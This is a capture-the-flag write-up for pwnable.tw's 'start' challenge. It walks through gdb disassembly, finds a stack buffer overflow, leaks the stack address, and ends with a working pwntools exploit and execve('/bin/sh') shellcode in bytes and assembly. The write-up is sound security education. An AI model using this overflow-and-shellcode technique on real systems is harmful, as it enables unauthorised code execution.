Start from Pwnable.tw

Points: 100

This is the writeup for the challenge start from pwnable.tw. This is the very first challenge on the website and a simple one for that matter. There is a simple buffer overflow on the binary but no jmp to esp gadget, so we need to create a rop chain to find the address of esp and then jmp to it in order to make the binary execute our shellcode.

That being said let’s get started.

Analyzing the binary

We can download the binary from the site and throw it in gdb to get a closer look.

gdb ./start

gef➤  info fun
All defined functions:

Non-debugging symbols:
0x08048060  _start
0x0804809d  _exit
0x080490a3  __bss_start
0x080490a3  _edata
0x080490a4  _end
gef➤  checksec
[+] checksec for '/home/duckie/Documents/pwnable.tw/start/start'
Canary                        : ✘
NX                            : ✘
PIE                           : ✘
Fortify                       : ✘
RelRO                         : ✘

The binary is small and has no main in it, I’d say it’s handcrafted for this challenge. Thus reversing it should be pretty easy. Let’s start with the _start function.

gef➤  disas _start
Dump of assembler code for function _start:
   0x08048060 <+0>:     push   esp
   0x08048061 <+1>:     push   0x804809d
   0x08048066 <+6>:     xor    eax,eax
   0x08048068 <+8>:     xor    ebx,ebx
   0x0804806a <+10>:    xor    ecx,ecx
   0x0804806c <+12>:    xor    edx,edx
   0x0804806e <+14>:    push   0x3a465443
   0x08048073 <+19>:    push   0x20656874
   0x08048078 <+24>:    push   0x20747261
   0x0804807d <+29>:    push   0x74732073
   0x08048082 <+34>:    push   0x2774654c
   0x08048087 <+39>:    mov    ecx,esp
   0x08048089 <+41>:    mov    dl,0x14
   0x0804808b <+43>:    mov    bl,0x1
   0x0804808d <+45>:    mov    al,0x4
   0x0804808f <+47>:    int    0x80
   0x08048091 <+49>:    xor    ebx,ebx
   0x08048093 <+51>:    mov    dl,0x3c
   0x08048095 <+53>:    mov    al,0x3
   0x08048097 <+55>:    int    0x80
   0x08048099 <+57>:    add    esp,0x14
   0x0804809c <+60>:    ret
End of assembler dump.

Looking at the asm we can see there are a total 2 syscalls (i.e int 0x80) in one the al (i.e low 8 bits of eax) is 0x4 (i.e write) and other one the it is 0x3 (read). Let’s start understanding the asm instruction by instruction.

  1. First we push esp on the stack
  2. We push an address 0x804809d (address of _exit function)
  3. Zero out registers eax,ebx,ecx,edx.
  4. Push the string “Let’s start the CTF:” in endian format on the stack.
  5. mov the address of esp to ecx and other things req for the write syscall.
  6. finally the syscall
  7. setting up things req for read syscall
  8. then the read syscall with edx value of 0x3c (i.e 60).

It seems like we have a buffer overflow vuln here. Lets try out by giving a really long string to find the offset.

gef➤  pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤  r
Starting program: /home/duckie/Documents/pwnable.tw/start/start
Let's start the CTF:aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Program received signal SIGSEGV, Segmentation fault.
0x61616166 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]


$eax   : 0x3c
$ebx   : 0x0
$ecx   : 0xffffd154  →  "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama[...]"
$edx   : 0x3c
$esp   : 0xffffd16c  →  0x61616167 ("gaaa"?)
$ebp   : 0x0
$esi   : 0x0
$edi   : 0x0
$eip   : 0x61616166 ("faaa"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0000


0xffffd16c│+0x0000: 0x61616167   ← $esp
0xffffd170│+0x0004: 0x61616168
0xffffd174│+0x0008: 0x61616169
0xffffd178│+0x000c: 0x6161616a
0xffffd17c│+0x0010: 0x616161b
0xffffd180│+0x0014: 0x6161616c
0xffffd184│+0x0018: 0x6161616d
0xffffd188│+0x001c: 0x6161616e


[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616166

[#0] Id 1, Name: "start", stopped 0x61616166 in ?? (), reason: SIGSEGV

gef➤  paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
Undefined command: "paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa".  Try "help".

gef➤  pattern search faaa
[+] Searching 'faaa'
[+] Found at offset 17 (little-endian search) likely
[+] Found at offset 20 (big-endian search)

We find the offset at 20. Now all we need to do is find a gadget for jmp to esp. Since there is no such instruction on the binary, we will need to create a rop chain to leak the address of esp and then manually jmp to esp. 

Examining the binary carefully we see that there is an push esp at the top of the binary and an add esp,0x14 at the near end of _start.

Cool. So the attack will be to leak the esp on the first run then go back and give the payload with shellcode and gain shell. There is no nx so shellcode should work. UwU .

keeping that in mind the. We know that the first thing pushed on stack was esp. So after we have given our input (our given input will overwrite the stack in place of string “Let’s start the CTF:”) and popping of 20 bytes of data (with add esp,0x14) and the exit address in **_exit, we will have only esp on the stack. Thus if we will overwrite eip with a call to write syscall (present in binary) we can leak the address of esp**.

After the write syscall the program continues the flow and asks for our input again.

The stack will look like this when we will give our second input.

        |----------------|
        |      esp       |
        |----------------|
        |                |
        |   Our input    | 
        |                |
esp =>  |----------------|
        |  eip overwrite |
        |----------------|
        |  shell code    |
        |----------------|

Stack grows from high to low. esp points at the top of the stack. Now when we add 0x14 (i.e 20) to our esp, the esp will point to starting of shellcode. So we will over eip with esp+20 so the eip goes to shellcode directly and we will have a shell.

Thus the exploit will look like this:-

from pwn import *


padding = b'i'*20

payload = padding + p32(0x08048087)

p = remote('chall.pwnable.tw',10000)

print(p.recvuntil(':'))
p.send(payload)
tmp = p.recv()
esp = u32(tmp[:4])

log.success("found esp")
log.info(hex(esp))

shellcode = b"\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x31\xd2\x31\xc9\x31\xd2\x89\xe3\xb0\x0b\xcd\x80\x30\xc0\xfe\xc0\xcd\x80"

payload2 = b'i'*20 + p32(esp+20) + shellcode



p.send(payload2)
p.interactive()
global _start


_start:
    push 6845231
    push 1852400175
    xor edx,edx
    xor ecx,ecx
    xor edx,edx
    mov ebx,esp
    mov al,0xb
    int 0x80

    xor al,al
    inc al
    int 0x80